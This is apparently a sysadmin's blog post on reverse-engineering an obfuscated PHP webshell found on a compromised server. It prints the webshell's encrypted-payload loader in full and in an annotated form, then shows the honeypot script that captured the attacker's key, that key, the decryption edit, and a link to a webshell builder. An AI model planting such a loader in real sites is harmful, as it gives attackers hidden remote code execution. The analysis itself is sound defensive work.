Reversing a (particularly nasty) webshell
Today I got to reverse-engineer a particularly clever webshell (no stupid eval( gzinflate( base64_encode())) crap). I’ve cleaned my fair share of embedded PHP out of pages, but I’ve never actually encountered anything this interesting, which may not be saying much.
<?php
$____='...binary junk...LOTS of binary junk...';
$___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);
if($___!==NULL){
$___=md5($___).substr(md5(strrev($___)),0,strlen($___));
for($_____=0;$_____<15090;$_____++){
$____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
$___.=$____[$_____];
}
if($____=@gzinflate($____)){
if(isset($_POST['___']))
@setcookie('___', $_POST['___']);
$_____=create_function('',$____);
unset($____,$___);
$_____();
}
}
?>
<form action="" method="post"><input type="text" name="___" value=""/><input type="submit" value=">"/></form>
Ugly, right?
The first thing I did was to replace the functions and variable into something a bit more readable and comment some stuff in.
$auth = 'BINARY DATA'
// Checks for cookie or POST'd password
$auth=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);
// If authenticated/trying to auth
if($auth!==NULL)
{
// md5 of password substr'd with a subset of the md5
$auth=md5($auth).substr(md5(strrev($auth)),0,strlen($auth));
// XOR? encryption loop
for($i=0;$i<15090;$i++)
{
$data[$i]=chr(( ord($data[$i])-ord($auth[$i]))%256);
$auth.=$data[$i];
}
// At this point the data is decrypted into $data
if($data=@gzinflate($data))
{
// Set the cookie to the password value
if(isset($_POST['___']))
@setcookie('___', $_POST['___']);
// Create a new function of the decrypted data
$newfunc=create_function('',$data);
// Unset everything used
unset($data,$auth);
// Execute evil PHP
$newfunc();
}
}
Then I realized that no matter what I did, there wasn’t much I could do unless I had the encryption key that was used. Thankfully I checked the webserver and someone (188.116.32.134 => Poland) had logged in that day, I had a chance!
I replaced his evil PHP scripts with this to attempt to capture the key
<?php
// Write a file into temp with microtime() appended to it so he
// can't blank it back out, and capture the arrays $_POST and $_GET.
// Bwahaha PHP honeypot!
file_put_contents('/tmp/evil.postdata.' . microtime(True) . '.txt',
var_export($_POST, true));
file_put_contents('/tmp/evil.getdata.' . microtime(True) . '.txt',
var_export($_GET, true));
?>
<form action="" method="post">
<input type="text" name="___" value=""/>
<input type="submit" value=">"/>
</form>
Then around 2:00AM guess who came back to do some more spamming?
[root@server tmp]# stat /tmp/evil.postdata.1328943826.7825.txt File: `/tmp/evil.postdata.1328943826.7825.txt' --SNIP-- Access: 2012-02-11 21:37:26.000000000 -0500 Modify: 2012-02-11 02:03:46.000000000 -0500 Change: 2012-02-11 02:03:46.000000000 -0500
Awesome! I’ve captured his key! Take that you stupid spammer! :)
[root@server tmp]# cat /tmp/evil.postdata.1328943826.7825.txt array ( '___' => '145155', )
At this point I copied the evil PHP script over to a dev VM I had laying about for this sort of thing, snapshotted it, then edited the code to look like this
$___='145155';
if($___!==NULL){
$___=md5($___).substr(md5(strrev($___)),0,strlen($___));
for($_____=0;$_____<15090;$_____++){
$____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
$___.=$____[$_____];
}
if($____=@gzinflate($____)){
if(isset($_POST['___']))
@setcookie('___', $_POST['___']);
// Stop execution of the shell
// $_____=create_function('',$____);
// unset($____,$___);
// $_____();
}
// print de-obfuscated code without execing it
print '<pre style="white-space: pre-wrap;">' . htmlspecialchars($____) . '</pre>';
// end execution
die();
}
I fired up chrome and pointed it at the server and BAM! Webshell Decrypted.
If you’re curious, you can find the entire thing decrypted and formatted PHP script here
Turns out it’s the P.A.S. Webshell 3.0.5, and after googling that exact thing I found this:
http://profexer.name/pas/download.php where you can build your own with your own encryption key. Way to make this sort of pain in the ass behavior easily accessible d-bags.


